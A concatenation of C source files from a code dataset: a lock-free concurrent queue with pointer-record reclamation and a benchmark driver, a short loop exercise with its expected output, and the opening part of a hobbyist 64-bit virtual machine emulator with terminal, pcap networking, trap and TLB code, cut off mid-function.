long NODEONE = ((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))));
int NEXTB = ((64 - 16 - 4 - 16) >> 1);
long NEXTBITS = ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) ^ ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) >> ((64 - 16 - 4 - 16) >> 1)));
long NEXTONE = (((((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) ^ ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) ^ ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) ^ ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) >> ((64 - 16 - 4 - 16) >> 1))));
long NEXTTT = (((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) ^ ((((((((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1))) - 1) & (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) ^ (((((long)1) << (64 - 16)) -1 ) ^ (((((long)1) << (64 - 16)) - 1) >> ((64 - 16 - 4 - 16) >> 1)))) - 1) >> ((64 - 16 - 4 - 16) >> 1))) | ((((1 << 4) - 1) << 16)|((1 << 16) - 1)));
int RESTART = 2;
int KEEPPREV = 1;
int NONE = 0;
int RECORD = 0x00000004;
int SEARCH = 0x00000002;
int REMOVE = 0x00000001;
typedef struct RecordList {
Record* volatile head ;
Record* volatile tail ;
} RecordList ;
typedef struct RecordMap {
volatile RecordList* lists[131072] ;
} RecordMap ;
static volatile RecordMap map;
long nxtAddrV(long old, Record* replace) {
return (old & REFCBITS) | (old & NODEBITS) | ((old + NEXTONE) & NEXTBITS) | (replace->self & ARRIDXBIT_);
}
long plusRecord(long old) {
return ((old + REFONE) & REFCBITS) | (old & NODEBITS) | (old & NEXTBITS) | (old & ARRIDXBIT_);
}
long newNext(long old, Record* replace) {
return REFONE | ((old + NODEONE) & NODEBITS) | (old & NEXTBITS) | (replace->self & ARRIDXBIT_);
}
typedef struct Prevs {
Record* r __attribute__((aligned(128)));
long rNext ;
} Prevs __attribute__((aligned(128)));
#define MAXPREV 1024
#define STEPBIT 0
#define STEPS (1 << STEPBIT)
#define STEPS_ (STEPS - 1)
int psly_handle_records(RecordList* list, void* pointer, int flag) {
static __thread Prevs prevs_[MAXPREV];
static __thread bool flag_ = false;
if(!flag_) {
for(int i = 0; i < MAXPREV; ++i) {
prevs_[i].r = NULL;
prevs_[i].rNext = 0;
}
flag_ = true;
}
static __thread int steps;
steps = 0;
long key = (long) pointer;
Record* head = list->head;
Record* tail = list->tail;
steps = 0;
Record* my = NULL;
long localN;
int removed = 0;
Record* prev = head;
long prevNext = (prev->nextRecord);
Record* curr = idx_Record(prevNext);
for(;;) {
long currNext;
KeepPrev:
currNext = curr->nextRecord;
void* currPointer = (curr->pointer);
long New = (prev->nextRecord);
if((prevNext & NODEBITS) != (New & NODEBITS) || (New & REFCBITS) == DELETED) {
/*prev = head;
prevNext = (prev->nextRecord);
curr = idx_Record(prevNext);*/
--steps;
for(;;) {
int bucket = steps >> STEPBIT;
bucket = bucket < MAXPREV ? bucket: (MAXPREV - 1);
Prevs* prevs = &prevs_[bucket];
prev = prevs->r;
// printf("steps: %d\n", steps + 1);
prevNext = prev->nextRecord;
long prevNextKeep = prevs->rNext;
if((prevNextKeep & NODEBITS) != (prevNext & NODEBITS) || (prevNext & REFCBITS) == DELETED) {
steps -= STEPS;
} else {
prevs->rNext = prevNext;
curr = idx_Record(prevNext);
break;
}
}
steps = steps & (~STEPS_);
continue;
}
if((prevNext & NEXTTT) != (New & NEXTTT)) {
//JUSTNEXTCHANGE:
prevNext = New;
curr = idx_Record(prevNext);
continue;
}
prevNext = New;
long currKey = (long) currPointer;
if(curr == tail || currKey > key) {
if(flag == SEARCH)
return 0;
if(flag == REMOVE && (prevNext & ARRIDXBIT_) == (curr->self & ARRIDXBIT_))
return 0;
Record* append;
/*CasAppend:*/
if(flag == RECORD) {
if(my == NULL) {
my = get_Record();
localN = (my->nextRecord);
my->pointer = pointer;
}
my->nextRecord = newNext(localN, curr);
append = my;
} else {
append = curr;
}
for(;;) {
long prevBefore;
if((prevBefore = __sync_val_compare_and_swap(&prev->nextRecord, prevNext, nxtAddrV(prevNext, append))) == prevNext ) {
// printf("%d add\n", __sync_add_and_fetch(&maxListLFor0, 1));
//sleep(5);
long local = prevNext;
while((local & ARRIDXBIT_) != (curr->self & ARRIDXBIT_)){
Record* first = idx_Record(local);
first->pointer = NULL;
local = (first->nextRecord);
// if(index == 0)
// printf("%d sub\n", __sync_sub_and_fetch(&maxListLFor0, 1));
return_Record(first);
}
if(flag == RECORD)
return 1;
else
return 0;
}
New = prevBefore;
if((prevNext & NODEBITS) != (New & NODEBITS) || (New & REFCBITS) == DELETED) {
/*prev = head;
prevNext = (prev->nextRecord);
curr = idx_Record(prevNext);*/
--steps;
for(;;) {
int bucket = steps >> STEPBIT;
bucket = bucket < MAXPREV ? bucket: (MAXPREV - 1);
Prevs* prevs = &prevs_[bucket];
prev = prevs->r;
prevNext = prev->nextRecord;
long prevNextKeep = prevs->rNext;
if((prevNextKeep & NODEBITS) != (prevNext & NODEBITS) || (prevNext & REFCBITS) == DELETED) {
steps -= STEPS;
} else {
prevs->rNext = prevNext;
curr = idx_Record(prevNext);
break;
}
}
steps = steps & (~STEPS_);
goto KeepPrev;
}
if((prevNext & NEXTTT) != (New & NEXTTT)) {
prevNext = New;
curr = idx_Record(prevNext);
goto KeepPrev;
}
prevNext = New;
}
} else {
if(flag == SEARCH && currKey == key)
return (currNext >> RECBW) & REFCBITS_;
New = (curr->nextRecord);
if((currNext & NODEBITS) != (New & NODEBITS)) {
New = (prev->nextRecord);
if((prevNext & NODEBITS) != (New & NODEBITS) || (New & REFCBITS) == DELETED) {
/*prev = head;
prevNext = (prev->nextRecord);
curr = idx_Record(prevNext);*/
--steps;
for(;;) {
int bucket = steps >> STEPBIT;
bucket = bucket < MAXPREV ? bucket: (MAXPREV - 1);
Prevs* prevs = &prevs_[bucket];
prev = prevs->r;
prevNext = prev->nextRecord;
long prevNextKeep = prevs->rNext;
if((prevNextKeep & NODEBITS) != (prevNext & NODEBITS) || (prevNext & REFCBITS) == DELETED) {
steps -= STEPS;
} else {
prevs->rNext = prevNext;
curr = idx_Record(prevNext);
break;
}
}
steps = steps & (~STEPS_);
continue;
}
prevNext = New;
curr = idx_Record(prevNext);
continue;
}
currNext = New;
if((currNext & REFCBITS) == DELETED) {
curr = idx_Record(currNext);
continue;
}
if(currKey != key) {
int bucket;
if((steps & STEPS_) == 0 && (bucket = (steps >> STEPBIT)) < MAXPREV) {
Prevs* step = &prevs_[bucket];
//if(step->r != prev) {
step->r = prev;
step->rNext = prevNext;
//}
}
++steps;
//printf("steps: %d\n", steps + 1);
prev = curr;
prevNext = currNext;
} else {
if(removed)
return 0;
Record* found = curr;
long foundNext = currNext;
if(flag == REMOVE) {
long refNuM;
if(((refNuM = __sync_sub_and_fetch(&found->nextRecord, REFONE)) & REFCBITS) != DELETED)
return (refNuM >> RECBW) & REFCBITS_;
removed = 1;
currNext = refNuM;
} else {
for(;;) {
long refNuM;
long prevBefore;
if((prevBefore = __sync_val_compare_and_swap(&found->nextRecord, foundNext, refNuM = plusRecord(foundNext))) == foundNext) {
if(my != NULL) {
my->nextRecord = localN;
return_Record(my);
}
return (refNuM >> RECBW) & REFCBITS_;
}
New = prevBefore;
if((foundNext & NODEBITS) != (New & NODEBITS)) {
New = (prev->nextRecord);
if((prevNext & NODEBITS) != (New & NODEBITS) || (New & REFCBITS) == DELETED) {
/*prev = head;
prevNext = (prev->nextRecord);
curr = idx_Record(prevNext);*/
--steps;
for(;;) {
int bucket = steps >> STEPBIT;
bucket = bucket < MAXPREV ? bucket: (MAXPREV - 1);
Prevs* prevs = &prevs_[bucket];
prev = prevs->r;
prevNext = prev->nextRecord;
long prevNextKeep = prevs->rNext;
if((prevNextKeep & NODEBITS) != (prevNext & NODEBITS) || (prevNext & REFCBITS) == DELETED) {
steps -= STEPS;
} else {
prevs->rNext = prevNext;
curr = idx_Record(prevNext);
break;
}
}
steps = steps & (~STEPS_);
goto KeepPrev;
}
prevNext = New;
curr = idx_Record(prevNext);
goto KeepPrev;
}
if((New & REFCBITS) == DELETED) {
currNext = New;
break;
}
foundNext = New;
}
}
}
curr = idx_Record(currNext);
}
}
}
int psly_record(void* pointer) {
long key = ((long) pointer) >> 4 ;
RecordList* list = map.lists[key & 131071];
return psly_handle_records(list, pointer, RECORD);
}
int psly_remove(void* pointer) {
long key =((long) pointer) >> 4 ;
RecordList* list = map.lists[key & 131071];
return psly_handle_records(list, pointer, REMOVE);
}
int psly_search(void* pointer) {
long key =((long) pointer) >> 4 ;
RecordList* list = map.lists[key & 131071];
return psly_handle_records(list, pointer, SEARCH);
}
#define INIT_RESOURCE(listNum) \
for(int i = 0; i < (PSLY_Record_ARRAYNUM); ++i){ \
Record* record; \
void * ptr;\
int ret = posix_memalign(&ptr, 4096, (1 << PSLY_Record_IDXNUM) * sizeof(Record));\
psly_Records[i] = record = ptr; \
memset(record, 0, (1 << PSLY_Record_IDXNUM) * sizeof(Record)); \
for(int j = 0; j < (1 << PSLY_Record_IDXNUM) - 1; ++j){ \
record->self = (i << PSLY_Record_IDXNUM) | j; \
record->next = j+1; \
record->pointer = NULL;\
record->nextRecord = 0;\
/*printf("%ld\n", record->nextRecord);*/\
record += 1; \
} \
record->self = (i << PSLY_Record_IDXNUM) | ((1 << PSLY_Record_IDXNUM) - 1); \
record->next = PSLY_Record_NEXTTAILBIT; \
record->pointer = NULL;\
record->nextRecord = 0;\
}\
for(int i = 0; i < PSLY_Record_ARRAYNUM_MAX; ++i){\
psly_Record_queues[i].head = 0; \
psly_Record_queues[i].tail = (1 << PSLY_Record_IDXNUM) - 1; \
} \
for(int i = 0; i < listNum; ++i) { \
void* ptr;\
int ret = posix_memalign(&ptr, 4096, sizeof(RecordList));\
Record* head = get_Record();\
Record* tail = get_Record();\
head->nextRecord = newNext(head->nextRecord, tail); \
map.lists[i] = ptr;\
map.lists[i]->head = head; \
map.lists[i]->tail = tail; \
}
#define UNINIT_RESOURCE(listNum) \
for(int i = 0; i < (PSLY_Record_ARRAYNUM); ++i){ \
free(psly_Records[i]); \
} \
for(int i = 0; i < listNum; ++i) {\
free(map.lists[i]);\
}
#define K 2
int THRESHOLD = 1;
int MAXTHRES = 1;
#define MAXTHREADS 11000
typedef struct NodeType {
int value;
struct NodeType* next;
} NodeType;
void* GlobalHP[K * MAXTHREADS];
int H = 0;
typedef struct ListType{
void* node;
struct ListType* next;
} ListType;
typedef struct HPrectype{
void** HP;
struct HPrectype* next;
bool Active;
int rcount;
int count;
ListType* list;
} HPrecType;
volatile HPrecType* head;
volatile NodeType* Head;
volatile NodeType* Tail;
static __thread HPrecType* myhprec;
void allocateHPRec() {
HPrecType* local = head;
for(;local != NULL; local = local->next){
if(local->Active)
continue;
if(!__sync_bool_compare_and_swap(&local->Active, false, true))
continue;
myhprec = local;
return;
}
int oldCount;
do {
oldCount = H;
} while(!__sync_bool_compare_and_swap(&H, oldCount, oldCount + K));
local = (HPrecType*) malloc(sizeof(HPrecType));
if(local == NULL) {printf("NULL!!!!\n");exit(1);}
local->Active = true;
local->next = NULL;
local->HP = GlobalHP + oldCount;
for(int i = 0; i < K; ++i)
local->HP[i] = NULL;
__asm__ volatile("mfence" : : : "cc", "memory");
local->rcount = 0;
local->count = 0;
local->list = (ListType*) malloc(MAXTHRES * sizeof(ListType));
if(local->list == NULL) {printf("NULL!\n"); exit(1);}
for(int i = 0; i < MAXTHRES; ++i) {
local->list[i].node = NULL;
local->list[i].next = NULL;
}
HPrecType* oldHead;
do {
oldHead = head;
local->next = oldHead;
} while(!__sync_bool_compare_and_swap(&head, oldHead, local));
myhprec = local;
}
void retireHPrec(){
for(int i = 0; i < K; ++i)
myhprec->HP[i] = NULL;
myhprec->Active = false;
}
bool isInpre(void* node, ListType* list){
while(list != NULL){
if(list->node == node)
return true;
list = list->next;
}
return false;
}
bool isIn(void* node){
return psly_search(node);
}
int numOfRetire;
void scan(HPrecType* local){
__sync_fetch_and_add(&numOfRetire, 1);
ListType* rList = local->list;
int i = 0;
while(i <= local->rcount){
void* node = rList[i].node;
if(node != NULL && !isIn(node)){
free(node);
rList[i].node = NULL;
local->count--;
}
++i;
}
}
void retireNode(void* node){
int i;
int count = 0;
begin: i = 0;
ListType* the;
count++;
if(count > 100000)
printf("retireLoop %d", count);
for(the = myhprec->list; i < MAXTHRES; ){
if(the->node == NULL)
break;
++i;
the = myhprec->list + i;
}
if(i == MAXTHRES){printf("%ld\n", pthread_self());
scan(myhprec);
goto begin;
}
the->node = node;
if(i > myhprec->rcount)
myhprec->rcount = i;
myhprec->count++;
if(myhprec->count >= THRESHOLD){
scan(myhprec);
}
}
void enqueue(int value){
//NodeType* node = (NodeType*) malloc(sizeof(NodeType));
NodeType* node;
int re = posix_memalign(&node, 64, sizeof(NodeType));
if(re == EINVAL) {
printf("参数不是2的幂,或者不是void指针的倍数。\n");
fflush(stdout);
exit(1);
}
if(re == ENOMEM) {
printf("没有足够的内存去满足函数的请求。\n");
fflush(stdout);
exit(1);
}
if(((long) node % 64) != 0) {
printf("%ld is not 64 enqueue\n", node);
fflush(stdout);
exit(1);
}
memset(node, 0, sizeof(NodeType));
if(node == NULL) { printf("KKKKKKKKKKKKKK\n"); exit(1);}
node->value = value;
node->next = NULL;
NodeType* t;
long count = 0;
for(;;){
++count;
if(count > 100000000) {
printf(">>>100000000\n");
printf("%p %p %d\n", t, t->next, pthread_self());
sleep(2);
}
t = Tail;
//printf("%ld\n", ((long)t) & 1);
if((((long)t) & 1) == 1) {
/*printf("%p\n", t);
exit(1);*/
}
psly_record(t);
//__sync_synchronize();
if(Tail != t) {
psly_remove(t);
continue;
}
NodeType* next = t->next;
if(Tail != t) {
psly_remove(t);
continue;
}
if(next != NULL){
psly_remove(t);
__sync_bool_compare_and_swap(&Tail, t, next);
continue;
}
if(__sync_bool_compare_and_swap(&t->next, NULL, node)) {
psly_remove(t);
if( t == node ) {
printf("%p %p is something wrong! %d\n", t, node, pthread_self()); exit(1);
}
break;
}
psly_remove(t);
}
__sync_bool_compare_and_swap(&Tail, t, node);
}
int flagRet = 1;
int dequeue(){
long count = 0;
int data;
NodeType* h;
for(;;){
++count;
if(count > 100000)
printf("DDDDDDDDDDDDDDDDDDDDDAAAAA>100000\n");
h = Head;
//myhprec->HP[0] = h;
psly_record(h);
if(Head != h) {
psly_remove(h);
continue;
}
NodeType* t = Tail;
NodeType* next = h->next;
psly_record(next);
//myhprec->HP[1] = next;
if(Head != h) {
psly_remove(h);
psly_remove(next);
continue;
}
if(next == NULL) {
psly_remove(h);
psly_remove(next);
return -1000000;
}
if(h == t){
psly_remove(h);
psly_remove(next);
__sync_bool_compare_and_swap(&Tail, t, next);
continue;
}
data = next->value;
//myhprec->HP[1] = NULL;
//myhprec->HP[0] = NULL;
if(__sync_bool_compare_and_swap(&Head, h, next)) {
psly_remove(h);
psly_remove(next);
break;
}
psly_remove(h);
psly_remove(next);
}
//myhprec->HP[0] = NULL;
//myhprec->HP[1] = NULL;
if(flagRet)
retireNode(h);
return data;
}
long numofdequeue;
long numoferr;
void* thread_routine(void* argv){
allocateHPRec();
for(int i = 100; i < 100 + (int)argv; ++i)
enqueue(3781);
int result;
//printf("enqueue end!!! %d\n", pthread_self());
while((result = dequeue()) != -1000000){
//printf("tid: %ld output is: %d times is: %d\n", pthread_self(), result, numofdequeue + 1);
__sync_fetch_and_add(&numofdequeue, 1);
if(result != 3781)
__sync_fetch_and_add(&numoferr, 1);
}
scan(myhprec);
return 0;
}
int main(int argc, char** argv){
//printf("I'm main %ld\n", pthread_self());
int n = 0;
if(argc != 5) {
printf("must has 5 arguments\n");
return 0;
}
int exeTime = atoi(argv[4]);
INIT_RESOURCE(131072); for(int k = 0; k < exeTime;++k){
printf("\n%d times\n", k);
fflush(stdout);
float time_use=0;
struct timeval start;
struct timeval end;
gettimeofday(&start,NULL);
//Head = Tail = (NodeType*) malloc(sizeof(NodeType));
int re = posix_memalign(&Head, 64, sizeof(NodeType));
if(re == ENOMEM || re == EINVAL) {
printf("memory has empty!\n");
fflush(stdout);
exit(1);
}
if(((long) Head % 64) != 0) {
printf("%ld is not 64 Head\n", Head);
fflush(stdout);
exit(1);
}
Tail = Head;
if(Head == NULL) {printf("AAAAAAAAAAAA\n"); exit(1);}
Head->value = -1;
Head->next = NULL;
int nThread = atoi(argv[1]);
MAXTHRES = 10000;
int numItem = atoi(argv[2]);
THRESHOLD = atoi(argv[3]);
printf("\n");
pthread_t pid[MAXTHREADS];
for(int i = 0; i < nThread; ++i) {
if(pthread_create(&pid[i], NULL, thread_routine, numItem)) {
printf("can't create %d thread\n", i);
exit(1);
}
}
for(int i = 0; i < nThread; ++i)
pthread_join(pid[i], NULL);
printf("%ld enqueues + %ld dequeues\n\n", numofdequeue, numofdequeue);
gettimeofday(&end,NULL);
time_use=(end.tv_sec-start.tv_sec)+(end.tv_usec-start.tv_usec) / 1000000.0;//微秒
printf("time_use is %f, err num is %ld \n", time_use, numoferr);
//printf("NodeType: %d\n", sizeof(NodeType));
HPrecType* h = head;head = NULL;H = 0;
HPrecType* l;
printf("begin father collect garbage\n");
while(h != NULL) {
l = h->next;
scan(h);
free(h->list);
free(h);
h = l;
}
free(Head);
int kk = 0;
for(int i = 0; i < 131072; ++i) {
Record* head = idx_Record(map.lists[i]->head->nextRecord);
Record* tail = map.lists[i]->tail;
while(head != tail) {
printf("%p\n", head->pointer);
++kk;
head = idx_Record(head->nextRecord);
}
}
printf("the rest: %d\n", kk);
fflush(stdout);
//sleep(1);
}
UNINIT_RESOURCE(131072);
return 0;
}
|
the_stack_data/159515180.c
|
#include <stdio.h>
int main()
{
int b=3,c=4,d=5;
for(int a=1;a<=4;a++)
{
c=a+b;
if((b+c)%10 != 0)
c=c+a;
else
d=d+a;
}
printf("%d %d",c,d);
return 0;
}
//o/p
//7 9
|
the_stack_data/48575043.c
|
/* Richard James Howe, [email protected], Virtual Machine, Public Domain */
/* TODO: Networking (debug)
* TODO: Screen/Keyboard/Mouse/Sound
* TODO: Floating point
* TODO: Misc: Forth/BIOS ROM, Device/Peripheral discovery/description table, debugging */
#include <assert.h>
#include <limits.h>
#include <inttypes.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct {
uint8_t buf[8192];
size_t len;
void *handle;
int error;
} network_t;
#ifdef USE_NETWORKING
#include <pcap.h>
#define NETWORKING (1ull)
static int eth_init(network_t *n) {
char errbuf[PCAP_ERRBUF_SIZE] = { 0, };
pcap_if_t *devices;
if (pcap_findalldevs(&devices, errbuf) == -1) {
(void)fprintf(stderr, "Error eth_init: %s\n", errbuf);
goto fail;
}
pcap_if_t *device;
for (device = devices; device; device = device->next) {
if (device->description) {
printf(" (%s)\n", device->description);
} else {
(void)fprintf(stderr, "No device\n");
//goto fail;
}
}
device = devices->next->next;
if (NULL == (n->handle = pcap_open_live(device->name , 65536, 1, 10, errbuf))) {
fprintf(stderr, "Unable to open the adapter\n");
pcap_freealldevs(devices);
goto fail;
}
pcap_freealldevs(devices);
return 0;
fail:
n->error = -1;
return -1;
}
static int eth_poll(network_t *n) {
assert(n);
const u_char *packet = NULL;
struct pcap_pkthdr *header = NULL;
for(int res = 0; res == 0;)
res = pcap_next_ex(n->handle, &header, &packet);
n->len = header->len;
memcpy(n->buf, packet, n->len);
return n->len;
}
static int eth_transmit(network_t *n) {
return pcap_sendpacket(n->handle, (u_char *)(n->buf), n->len);
}
#else
#define NETWORKING (0ull)
static int eth_init(network_t *n) { assert(n); n->error = -1; return -1; }
static int eth_poll(network_t *n) { assert(n); return -1; }
static int eth_transmit(network_t *n) { assert(n); return -1; }
#endif
#ifdef USE_GUI
#include <SDL.h>
#define GUI (1ull)
#else
#define GUI (0ull)
#endif
#ifdef __unix__
#include <unistd.h>
#include <termios.h>
static struct termios oldattr, newattr;
static void restore(void) {
tcsetattr(STDIN_FILENO, TCSANOW, &oldattr);
}
static int setup(void) {
tcgetattr(STDIN_FILENO, &oldattr);
newattr = oldattr;
newattr.c_iflag &= ~(ICRNL);
newattr.c_lflag &= ~(ICANON | ECHO);
newattr.c_cc[VMIN] = 0;
newattr.c_cc[VTIME] = 0;
tcsetattr(STDIN_FILENO, TCSANOW, &newattr);
atexit(restore);
return 0;
}
static int getch(void) {
static int init = 0;
if (!init) {
setup();
init = 1;
}
unsigned char r = 0;
if (read(STDIN_FILENO, &r, 1) != 1)
return -1;
return r;
}
static int putch(int c) {
int res = putchar(c);
fflush(stdout);
return res;
}
static void sleep_ms(unsigned ms) {
usleep((unsigned long)ms * 1000);
}
#else
#ifdef _WIN32
extern int getch(void);
extern int putch(int c);
static void sleep_ms(unsigned ms) {
usleep((unsigned long)ms * 1000);
}
#else
static int getch(void) { return getchar(); }
static int putch(const int c) { return putchar(c); }
static void sleep_ms(unsigned ms) { (void)ms; }
#endif
#endif /** __unix__ **/
static int wrap_getch(void) {
const int ch = getch();
if (ch == EOF) {
sleep_ms(1);
}
if (ch == 27)
exit(0);
return ch == 127 ? 8 : ch;
}
static int wrap_putch(const int ch) {
return putch(ch);
}
/* End of Peripherals - start of VM */
static inline int within(uint64_t addr, uint64_t lo, uint64_t hi) { return addr >= lo && addr < hi; }
static inline int bit_get(uint64_t v, int bit) { return !!(v & (1ull << bit)); }
static inline int bit_set(uint64_t *v, int bit) { assert(v); *v = *v | (1ull << bit); return 1; }
static inline int bit_xor(uint64_t *v, int bit) { assert(v); *v = *v ^ (1ull << bit); return bit_get(*v, bit); }
static inline int bit_clr(uint64_t *v, int bit) { assert(v); *v = *v & ~(1ull << bit); return 0; }
static inline int bit_cnd(uint64_t *v, int bit, int set) { assert(v); return (set ? bit_set : bit_clr)(v, bit); }
#define MEMORY_START (0x0000000080000000ull)
#define MEMORY_END (MEMORY_START + (sizeof (((vm_t) { .pc = 0 }).m)/ sizeof (uint64_t)))
#define SIZE (1024ul * 1024ul * 1ul)
#define TLB_ENTRIES (64ul)
#define TRAPS (32ul)
#define BUILD_BUG_ON(condition) ((void)sizeof(char[1 - 2*!!(condition)]))
#define PAGE_SIZE (8192ull)
#define PAGE_MASK (PAGE_SIZE - 1ull)
#define IO_START (0x0000000004000000ull)
#define IO_END (0x0000000008000000ull)
#define TLB_ADDR_MASK (0x0000FFFFFFFFFFFFull & ~PAGE_MASK)
#define NELEMS(X) (sizeof (X) / sizeof ((X)[0]))
#define REGS (16ul)
typedef struct {
uint64_t m[SIZE / sizeof (uint64_t)];
uint64_t pc, flags, timer, tick, tron;
uint64_t r[REGS];
uint64_t traps[TRAPS];
uint64_t tlb_va[TLB_ENTRIES], tlb_pa[TLB_ENTRIES];
uint64_t disk[SIZE / sizeof (uint64_t)], dbuf[PAGE_SIZE], dstat, dp;
uint64_t uart_control, uart_rx, uart_tx;
uint64_t rtc_control, rtc_s, rtc_frac_s;
uint64_t loaded;
network_t network;
int halt;
FILE *trace;
} vm_t;
enum { READ, WRITE, EXECUTE };
enum { V = 52, C, Z, N, /* saved flags -> */ SVIRT = 56, SPRIV, SINTR, /* privileged flags -> */INTR = 60, PRIV, VIRT };
enum { T_GENERAL, T_ASSERT, T_IMPL, T_DIV0, T_INST, T_ADDR, T_ALIGN, T_PRIV, T_PROTECT, T_UNMAPPED, T_TIMER, };
enum { TLB_BIT_IN_USE = 48, TLB_BIT_PRIVILEGED, TLB_BIT_ACCESSED, TLB_BIT_DIRTY, TLB_BIT_READ, TLB_BIT_WRITE, TLB_BIT_EXECUTE, };
static int trace(vm_t *v, const char *fmt, ...) {
assert(v);
assert(fmt);
if (bit_get(v->tron, 0) == 0)
return 0;
if (!v->trace)
return 0;
va_list ap;
va_start(ap, fmt);
const int r1 = vfprintf(v->trace, fmt, ap);
va_end(ap);
const int r2 = fputc('\n', v->trace);
if (r1 < 0 || r2 < 0) {
v->halt = -2;
return -1;
}
return r1 + 1;
}
static int trap(vm_t *v, uint64_t addr, uint64_t val) {
assert(v);
if (trace(v, "+trap,%"PRIx64",%"PRIx64",%"PRIx64",", v->flags, addr, val) < 0)
return -1;
uint8_t level = v->flags;
const uint64_t a = v->flags >> 8;
const uint64_t b = v->flags >> 16;
if (level > 2) { v->halt = -1; return -1; }
level++;
v->flags &= 0xF0F0FFFFFFFFFF00ull; /* clear saved flags */
v->flags |= level;
const uint64_t f = v->flags & (0xF0F0ull << 48);
v->flags |= (f >> 4);
v->r[a % REGS] = v->pc;
v->r[b % REGS] = val;
bit_set(&v->flags, PRIV); /* escalate privilege level */
if (addr >= NELEMS(v->traps))
addr = T_ADDR;
v->pc = v->traps[addr];
return 1;
}
/* NB. It might be better to start off with a large page size, so everything
* can be stored within the TLB without fault. */
static int tlb_lookup(vm_t *v, uint64_t vaddr, uint64_t *paddr, int rwx) {
assert(v);
assert(paddr);
BUILD_BUG_ON(sizeof (v->tlb_va) != sizeof (v->tlb_pa));
const uint64_t lo = vaddr & TLB_ADDR_MASK;
*paddr = 0;
for (size_t i = 0; i < NELEMS(v->tlb_va); i++) {
const uint64_t tva = v->tlb_va[i];
const uint64_t pva = v->tlb_pa[i];
if (bit_get(tva, TLB_BIT_IN_USE) == 0)
continue;
if (lo & (TLB_ADDR_MASK & tva))
continue;
if (bit_get(v->flags, PRIV))
if (bit_get(tva, TLB_BIT_PRIVILEGED) == 0)
return trap(v, T_PROTECT, vaddr);
int bit = 0;
switch (rwx) {
case READ: bit = TLB_BIT_READ; break;
